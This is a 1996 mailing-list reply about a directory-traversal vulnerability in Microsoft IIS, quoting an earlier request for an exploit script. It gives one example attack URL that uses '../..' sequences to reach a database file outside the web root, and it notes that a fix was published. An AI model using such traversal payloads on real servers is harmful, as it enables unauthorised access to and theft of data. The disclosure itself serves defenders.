If you go to any directory below the server root, you have access to the
entire volume
that IIS runs on via ../.. tricks.
e.g.
http://www.victim.com/images/../../../mssql/customer.database
The URL for the fix was published on the list.
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bowman Hall MCSE bowman @
carnival .
com
Systems Analyst (305) 599 2600 x1844
Carnival Cruise Lines http://www.carnival.com
>
> Date: Thu, 1 Aug 1996 11:59:27 -0500 (CDT)
> From: Jesse Whyte <jesse @
psa .
pencom .
com>
> Subject: Re: Microsoft Internet Server
>
> If anyone has any more information on the Server hole - technicals and
> maybe an exploit script - please reply back either privately or on the
> list if you think it is appropriate.
>
> Thanx,
>
> Jesse
>
> ****************************************************************
> Jesse Whyte
> Computer/Network Security Consultant
> Pencom Systems Administrator
> H: (410) 647-9645
> W: (410) 908-0991
>
|
|
